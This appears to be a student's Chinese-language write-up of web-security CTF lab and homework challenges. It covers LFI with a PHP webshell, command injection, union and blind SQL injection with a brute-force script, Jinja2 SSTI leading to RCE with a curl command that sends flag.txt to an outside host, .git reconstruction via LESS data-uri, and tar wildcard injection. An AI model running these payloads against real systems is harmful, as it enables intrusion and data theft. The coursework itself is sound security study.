# CS2022 Web writeup
## hackmd url
https://hackmd.io/@Chtsai873/SJ5nHInOs
* LAB
* [Hello from Windows 98](#Hello-from-Windows-98)
* [Whois Tool](#Whois-Tool)
* [Normal Login Panel (Flag 1)](#Normal-Login-Panel-(Flag-1))
* [Normal Login Panel (Flag 2)](#Normal-Login-Panel-(Flag-2))
* HW
* [PasteWeb (Flag 1)](#PasteWeb-(Flag-1))
* [PasteWeb (Flag 2)](#PasteWeb-(Flag-2))
* [PasteWeb (Flag 2)](#PasteWeb-(Flag-3))
## Hello from Windows 98
* [題目網址](https://windows.ctf.zoolab.org/)
* 解題過程
1. 使用 burp suite 瀏覽器開啟網址,題目首先是有一個輸入框跟送出鍵,點擊 source 可以查看原始碼

原始碼
```php
<?php
session_start();
if(isset($_GET['source'])){
highlight_file('./'.$_GET['source'].'.php');
die();
}
if(isset($_GET['name']) && $_GET['name']!=''){
$_SESSION['name'] = $_GET['name'];
header("Location: /?page=hi.php");
die();
}
if(!isset($_GET['page'])){
header("Location: /?page=say.php");
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Hello from Windows 98</title>
<meta charset="UTF-8" />
<link rel="stylesheet" href="https://unpkg.com/98.css" />
</head>
<style>
body{
background: url('blue.png');
background-size: cover;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
margin: 0;
}
</style>
</style>
<body>
<div class="window" style="margin: 32px; width: 500px">
<div class="title-bar">
<div class="title-bar-text">
Hello World..
</div>
<div class="title-bar-controls">
<button aria-label="Minimize"></button>
<button aria-label="Maximize"></button>
<button aria-label="Close"></button>
</div>
</div>
<div class="window-body">
<?php include($_GET['page']);?>
</div>
</div>
</body>
</html>
```
原始碼主要可以看到下方有一行 php include: <?php include($_GET['page']);?> 的 LFI
其大概就是我們可以進行攻擊的點。
2. 嘗試輸入東西並使用 burp 查看 request 內容,可以看到其 request 帶了一個 session ID,而後跳轉到 page=hi.php


3. 嘗試輸入一句話木馬使其 include

4. 根據 session ID 跳轉頁面後發現一句話木馬有成功執行(跟著助教輸入的,不確定 session ID 格示是否都長這樣?)

5. 於是根據一句話木馬要求的給予變數 c 值`c=system('ls');`,使其執行 system,最後 cat flag.txt 找到FLAG。


## Whois Tool
* [題目網址](https://whoistool.ctf.zoolab.org/)
* 解題過程
1. 使用 burp suite 瀏覽器開啟網址,題目首頁可以看到原始碼以及一個輸入框

2. source code 可以看出其要輸入字元長度小於 15 的 host name,並串上 "whois" 等字串。由於 host 變數位於 "{}" 內部,所以可以直接執行一些操作,例如 `id`

3. 因此我們也可以透過將前方的 "" 終止後執行新的命令(多一個雙引號 " 為了符合後方指令格示,也可以直接將後方註解掉?)。

找到 flag.txt 後可直接 cat 查看

## Normal Login Panel (Flag 1)
* [題目網址](https://login.ctf.zoolab.org/)
* 解題過程
1. 使用 burt suite 瀏覽器打開網址,其頁面示一個登入視窗,可以輸入 username & password

2. 嘗試輸入後發現 admin 是合法的 username,而輸入`admin'`則會壞掉,猜測其 API 呼叫指令為 `select username from table where Username={Username}`,可以進行 injection




3. 使用 `admin' or 1=1` 無法登入。

4. 由於此題是會報錯的類型,因此可以開始嘗試使用 `union select` 來爆出某些東西。
嘗試到 select 4 columns 發現不會爆錯,且第 4 column 會回顯

嘗試使用 web cheatsheet 來進行 injection,原本還需要測試 sql 是哪一種,但助教很好心的全部演示完了(?
得知資料庫種類為 sqlite,使用
`' union SELECT 1, 2, 3, sql FROM sqlite_master where type='table' --`
來爆表名,得到 users 這個 table

5. 得知 table_name 及 column_name 後使用
`' union SELECT 1, 2, 3, username from users limit 0, 1 --`
可以看到確實有 admin 這個 username

最後使用
`admin' union select 1, 2, 3, password from users where username='admin' --`
取得 password,也就是 FLAG。
* 執行結果

## Normal Login Panel (Flag 2)
* [題目網址](https://login.ctf.zoolab.org/)
* 解題過程 & 思路
1. 有了上一題的 username 以及 password 後即可以登入,登入後會顯示出整段 source code
```py=
from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)
with app.app_context():
db.session.execute("""
CREATE TABLE IF NOT EXISTS users(
id Integer PRIMARY KEY,
username String NOT NULL UNIQUE,
password String,
count Integer DEFAULT 0
);
""")
db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
db.session.commit()
def login(greet):
if not greet:
return send_file('app.py', mimetype='text/plain')
else:
return render_template_string(f"Hello {greet}")
@app.route('/', methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template('index.html')
else:
username = request.form.get('username', '')
password = request.form.get('password', '')
error = ''
user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()
if user and user[1] == password:
return login(request.form.get('greet', ''))
elif not user:
error += "User doesn't exist! "
# New feature! count login failed event
db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
db.session.commit()
count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
error += f'Login faild count: {count[3]}'
return render_template('index.html', error=error)
if __name__ == "__main__":
app.run(host="0.0.0.0")
```
2. 整段程式碼內,由於已經登入成功了,大部分都可以不用關注,主要是下列登入成功會呼叫的部分,呼叫了 render_template_string(),並給了 {greet} 這個參數,此處可以看出明顯的 server side template injection(SSTI)
```python=
# 略
def login(greet):
if not greet:
return send_file('app.py', mimetype='text/plain')
else:
return render_template_string(f"Hello {greet}")
# 略
if user and user[1] == password:
return login(request.form.get('greet', ''))
# 略
```
3. 將整個 request 送入 repeater 重複查看,助教溫馨小技巧,可右鍵選擇 `Change body encoding` 將 request 格式從 url-encoding 的 www-form 轉換成 multipart form-data 格式,較好進行操作。

4. 此時可以開始嘗試 dump 出資訊
`{{[].__class__}}`
`{{[].__class__.__base__}}`
`{{[].__class__.__base__.__subclasses__()}}`

5. 將所有訊息複製後丟到 HTML decoder 進行解譯

使用文字編輯器較好找出我們想查看的 class

6. 對齊格式後可看出 class index 為 140 (VScode `ctrl+f` 後 `alt+enter` 可全選,每次都忘記這個指令怎麼打)

在逐步往下找到我們所需要的 `system` 指令
`{{[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('id')}}`

7. 但由於此處無法回顯查看,因此使用 beeceptor 建一個代理來接收我們使用 curl 寄出的資訊回顯(command 記得前後加上 \`\` 進行 substitution,不然會被當字串)

最後指令改為
```
{{[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('curl https://chtemp.free.beeceptor.com/ -d "`cat flag.txt`" ')}}
```
即可取得 FLAG
* 執行結果圖

## PasteWeb (Flag 1)
* [題目網址](https://pasteweb.ctf.zoolab.org)

* 解題過程 & 思路
1. 使用 burt suite 瀏覽器打開網址,其頁面示一個登入視窗,可以輸入 username & password,輸入錯誤右上角會 Alert 警示窗,大概會有下三張圖的警示(好像還有別的?),隊友一開始覺得時間函數很可ㄧ隊友一開始覺得時間函數很可疑,但我沒有深究。



2. 一開始覺得完全無從下手,因為這題並沒有向 LAB 一樣 leak 出錯誤訊息,妥妥的 Blind injection,因此卡了很久。試了簡單的 `' or 1=1--` 也只是單純地跳出右上角的 Error Bad Hacker Alert,剛開始還以為他是使用 filter 將 `or` 給過濾掉,所以一直嘗試使用其他取代的指令想要 bypass,直到與隊友討論才知道他有可能其實是 query 有成功執行的意思(卡了整整兩天)
3. 發現 Bad Hacker 有可是執行正確的意思後才開始可以嘗試盲注入,首先使用
`admin' or length(user) =3 --`
`admin' or ascii(SUBSTR((user), 1, 1)) =119 --`
成功試出了一個 username='web',但好像沒什麼幫助,因為不知道如何拿到 password...
4. 接下來想要試試看爆破出資料庫的結構,但還不知道資料庫的類型是哪一種,因此嘗試了各種指令,最後確定其是使用 PostgreSQL

6. 知道為何種 sql 後繼續嘗試其他種類的盲注入
試出了所有的 Table 數量=190
`admin' or (select count(*) from information_schema.tables)=190--`
而除去系統 Table 的則有 2 個自定義的 Table
`admin' or (select count(table_name) from information_schema.tables where table_schema='public')=2--`
下列兩條 query 找到兩張自定義的 table_name 字串長度 -> 各為 12, 17。接著透過爆破程式得到 table_name
`admin' or (select count(table_name) from information_schema.tables where table_schema='public' and length(table_name)=12)=1--`

`admin' or (select count(table_name) from information_schema.tables where table_schema='public' and length(table_name)=17)=1--`

5. 透過 schema 找到所有自定義 Table 的 column 共 4 則 column
`admin' or (select count(column_name) from information_schema.columns where table_schema='public')=4 --`
下列式子確定 column_name 的長度
`admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0))=4 -- fl4g`
`admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 1))=12-- user_account`
`admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 2))=7 -- user_id`
`admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 3))=13 -- user_password`
6. 最後再爆破 Table`s3cr3t_t4b1e` 內的 Column`fl4g` 拿到答案
`admin' or length((select fl4g from s3cr3t_t4b1e))=26 --`
`admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))>0 --`
* 爆破程式碼
```python=
import requests
from datetime import timezone
import datetime
from bs4 import BeautifulSoup
url = 'https://pasteweb.ctf.zoolab.org/'
ans = ''
str_len=26
for i in range(1,str_len+1):
print(str(i)+":", end='')
# Brute Force
flag=0
max=126
min=33
while(1):
if(max-min>10):
l=int((max+min)/2+0.5)
elif flag==0:
flag=1
l=min
continue
if(flag==1):
l+=1
# 爆表名
# query="admin' or ascii(SUBSTR((select table_name from information_schema.tables where table_schema='public' and length(table_name)="+str(str_len)+"),"+str(i)+",1))="+str(l)+" --"
# 爆 column
# query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),1,1))=0 --"
# query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),"+str(i)+",1))="+str(l)+" --"
# FLAG
# query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))=0 --"
query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),"+str(i)+",1))="+str(l)+" --"
dt = datetime.datetime.now(timezone.utc)
utc_time = dt.replace(tzinfo=timezone.utc)
utc_timestamp = str(utc_time.timestamp())
form_data = {'username': query, 'password': 'admin', 'current_time': utc_timestamp }
res = requests.post(url, data=form_data)
soup = BeautifulSoup(res.text, features="lxml")
msg = str(soup.select_one("#message").select('p')[1])[3:-4]
if msg =='Bad Hacker!':
ans += chr(l)
break
if(max-min>10):
# 爆表名
# query="admin' or ascii(SUBSTR((select table_name from information_schema.tables where table_schema='public' and length(table_name)="+str(str_len)+"),"+str(i)+",1))>"+str(l)+" --"
# 爆 column
# query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),"+str(i)+",1))>"+str(l)+" --"
# FLAG
# query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))=0 --"
query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),"+str(i)+",1))>"+str(l)+" --"
dt = datetime.datetime.now(timezone.utc)
utc_time = dt.replace(tzinfo=timezone.utc)
utc_timestamp = str(utc_time.timestamp())
form_data = {'username': query, 'password': 'admin', 'current_time': utc_timestamp }
res = requests.post(url, data=form_data)
soup = BeautifulSoup(res.text, features="lxml")
msg = str(soup.select_one("#message").select('p')[1])[3:-4]
if msg =='Bad Hacker!':
min=l
else:
max=l
print("/l: "+str(l)+" /max: "+str(max)+" /min: "+str(min))
print(ans)
print(ans)
```
* 爆破執行結果

## PasteWeb (Flag 2)
* [題目網址](https://pasteweb.ctf.zoolab.org)

Hint1

Hint2

* 解題過程 & 思路
1. 解這一題之前需要先能夠進行登入,在解完上一題之後我們已經知道了 pasteweb_accounts 這個 table_name 以及它的 3個 column_name,因此我們可以透過 injection 替自己註冊一組帳號。(其實也可以 leak 別人的來使用?)
使用下列 injection query,通過助教 hint 得知 password 有先進行加密過,試過發現是採用 md5,因此使用線上 encoder 先進行加密。
account="TSAICC"
password="m11115023"
`'; INSERT INTO pasteweb_accounts (user_id, user_account, user_password) VALUES (1123, 'TSAICC', '3f6d65b0a9f4e27f5e506504fe1e5bf5') --`
2. 登入後會是一個可以輸入 HTML, CSS 後進行瀏覽、分享或下載的小工具。

3. 助教有說明只要取得 source code,就能取得 FLAG,並給了可以使用 less 的提示。
less 有提供一個 function `data-uri()` 可以獲取網頁資料。

4. 隨意給一點 HTML 嘗試使用 data-uri 直接獲取網頁 source code,但沒辦法直接取得,似乎是擋住 "php" 這個 keyword?



5. 與隊友們經過各種驗證發現沒辦法 bypass。
```css=
@uri: "/view.php";
.f {
@f1: replace(e(%("%s", data-uri(@uri))), "application/x-httpd-php", "text/plain");
@f2: replace(@f1, "php", "00000");
@f3: replace(@f2, "phP", "00000");
@f4: replace(@f3, "pHp", "00000");
@f5: replace(@f4, "Php", "00000");
@f6: replace(@f5, "pHP", "00000");
@f7: replace(@f6, "PHp", "00000");
@f8: replace(@f7, "PhP", "00000");
@f9: replace(@f8, "PHP", "00000");
background-image: @f9;
}
```
6. 既然拿不到 php source code,於是討論了一下嘗試看看能不能拿到其他東西,嘗試將網址改成
`https://pasteweb.ctf.zoolab.org/.git/`
發現並不是 Not Found,而是 Forbidden,也就是說其實是有 .git 的資料夾存在的。

7. 上網搜尋了一下 .git 資料夾內通常會放些甚麼東西,剛好查到的這個網站上的範例題解題思路似乎與本題有點相似,一樣的問題都是直接存取 .git 的話會吃到 Forbidden,因此給出了一個想法是既然無法看到裡面的內容,不如嘗試將其下載下來。

8. 要嘗試還原網頁的 .git 資料夾,首先 `git init` 出一個初始的 .git

修改下列 css code 後查看 view.php 的網頁原始碼
```css=
@test: "../../.git/index";
.class1 {
background-image: data-uri(@test);
}
```
可以看到被 hash 過的資料

丟到 base64 decode 後存到相應位置

採用同樣的步驟還原 `.git/HEAD` -> `@test: "../../.git/HEAD";`
以及 `.git/logs/HEAD` -> `@test: "../../.git/logs/HEAD";`

9. 使用 vi 編輯器開啟 /logs/HEAD 進行查看,可發現有 commit hash 過的資料。

一步一步從最後一條 commit 開始還原,使用 `git diff`進行偵錯,查看還缺少哪些檔案


經過無數次還原後就可以得到全部的 source code(雖然大概還原4、5次就可以得到這題的答案,但 HW3 似乎需要先取得全部的 soutce code,心好累),最後 FLAG 位於 index.php 內。
* 執行結果

## PasteWeb (Flag 3)
* [題目網址](https://pasteweb.ctf.zoolab.org)

Hint1

* 解題過程
1. 在第二題取得所有 source code 後,可以開始翻翻看有沒有甚麼漏洞可以使用,首先看到 download.php 有一個明顯可以做些手腳的漏洞,download 功能會將所有存在 ./sandbox 內的 css 檔案儲存並使用
`tar -cvf download.tar *`
壓縮成 download.tar 給我們,這整段程式碼,先是看到 `shell_exec()`,就讓人覺得有點可疑了,再看到 tar 指令是使用 * 來進行壓縮,沒有做任何保護,直覺就會想到 Wildcard Injection(其實查了很久),助教上課好像沒講到這個?(偷抱怨)
```php=
// download.php
<?php
session_start();
if(!isset($_SESSION['name'])){
header("Location: /");
die();
}
$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
if (!file_exists($sandbox)){
mkdir($sandbox);
}
chdir($sandbox);
header("Content-Disposition: attachment; filename=download.tar");
shell_exec("tar -cvf download.tar *");
readfile("download.tar");
shell_exec("rm download.tar");
die();
?>
```
2. 接下來看到有趣的地方是 editcss.php 的部分,使用 POST 在丟 request 的時候,帶著的 theme 這個 payload,會被進行過濾後創建成 `theme.css` 這個檔案,或許可以透過更改檔名來執行某些指令?
```php=
//editcss.php
<?php
session_start();
if(!isset($_SESSION['name'])){
header("Location: /");
die();
}
// When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it
require "lessc.inc.php";
$less = new lessc;
$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
if (!file_exists($sandbox)){
mkdir($sandbox);
}
chdir($sandbox);
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){
file_put_contents('input.less', $_POST['less']);
$theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default';
$less->compileFile('input.less', $theme.'.css');;
$_SESSION['message'] = "CSS updated successfully!";
}
?>
//HTML略
```
3. 最後看到 edithtml.php 的部分,簡單明瞭,可以輸入東西到 index.html 裡
```php=
//edithtml.php
<?php
session_start();
if(!isset($_SESSION['name'])){
header("Location: /");
die();
}
$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
if (!file_exists($sandbox)){
mkdir($sandbox);
}
chdir($sandbox);
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['html'])){
file_put_contents('index.html', $_POST['html']);
if (!file_exists('default.css')){
file_put_contents('default.css', 'body{background:black;color:white}');
}
$_SESSION['message'] = "HTML updated successfully!";
}
?>
//HTML略
```
4. 到現在解題思路逐漸明確了(並沒有,隊友不通靈根本想不到),可以透過
`tar -cvf download.tar *`,改變後方的 * 通配字元讓它無意間的執行指令,例如提示有提到的 readflag。到這邊要先去查詢一下 tar 壓縮指令有甚麼其它的 option 可以利用。
`tar --help` 簡單 survey 一下 options,找到一個有趣的選項,`--checkpoint-action=ACTION` 可以在每一次的 checkpoint 執行我們想執行的 ACTION,而 checkpoint 的值似乎可以自己設定。

上網搜尋後有找到類似的指令介紹

5. 原先想如上圖取得的指令同樣設置 `--checkpoint=1`,但使用 burp intruder send 了大概 150 個 payload 出去發現好像還是沒有執行成功,最後決定以量取勝,前前後後送了 150+225 共 375 個 payload 才成功讓它可以執行 ACTION。
使用 repeater 修改要爆塞的 payload

intruder 給變數自動迭代 send request

前面嘗試失敗後,後續補的225次爆塞(原本要湊到400,但跑到一半覺得跑太久就停了)

6. 下列為最後 theme 塞的檔名(指令),只需要 send 一次就可以了
`--checkpoint-action=exec=sh index.html|` 註: 最後方的 "|" 是為了使程式碼不接到 .css 的檔案格式名稱。

而 index.html 內的資料則是如前面所述,要執行 readflag 這個檔案,但沒有地方回顯,所以建一個文字檔將其導向。
```htmlmixed=
!/bin/sh
/readflag > FLAG.txt
```

7. 上述指令全部 run 完後,我們需要點擊兩次 download,第一次為了是要讓 `tar -cvf download.tar *` 指令透過通配字元 * 而執行到我們剛剛給的 theme 檔名(`--checkpoint-action=exec=sh index.html|`),生成 FLAG.txt;第二次 download 取得我們導向的 FLAG.txt
* 執行結果
